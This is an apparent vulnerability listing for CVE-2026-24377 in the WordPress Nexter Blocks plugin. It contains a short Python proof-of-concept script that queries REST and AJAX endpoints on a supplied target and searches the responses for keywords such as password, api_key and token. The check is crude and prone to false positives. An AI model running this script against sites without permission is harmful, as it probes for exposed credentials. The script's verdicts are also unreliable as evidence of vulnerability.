CVE-2026-24377: POSIMYTH Nexter Blocks敏感数据泄露漏洞

# CVE-2026-24377 PoC - Nexter Blocks Sensitive Data Exposure # Target: WordPress site with Nexter Blocks plugin <= 4.6.3 import requests import sys def check_vulnerability(target_url): """ Check if the target is vulnerable to CVE-2026-24377 """ # Common vulnerable endpoints endpoints = [ '/wp-json/wp/v2/pages', '/wp-json/the-plus-addons/v1/', '/wp-admin/admin-ajax.php', ] headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36', 'Content-Type': 'application/json' } print(f"[*] Testing target: {target_url}") print(f"[*] CVE-2026-24377: Nexter Blocks Sensitive Data Exposure") # Test with low-privilege user session or unauthenticated session = requests.Session() for endpoint in endpoints: try: url = target_url.rstrip('/') + endpoint response = session.get(url, headers=headers, timeout=10) # Check for sensitive data exposure indicators if response.status_code == 200: content = response.text.lower() sensitive_keywords = ['password', 'api_key', 'secret', 'token', 'credential', 'db_'] for keyword in sensitive_keywords: if keyword in content: print(f"[+] VULNERABLE: Found potential sensitive data at {endpoint}") print(f"[+] Keyword matched: {keyword}") print(f"[+] Response snippet: {response.text[:500]}...") return True except requests.RequestException as e: print(f"[-] Error testing {endpoint}: {str(e)}") print("[*] No obvious vulnerability detected") print("[*] Manual verification recommended") return False if __name__ == '__main__': if len(sys.argv) < 2: print("Usage: python cve-2026-24377-poc.py <target_url>") print("Example: python cve-2026-24377-poc.py http://example.com") sys.exit(1) target = sys.argv[1] check_vulnerability(target)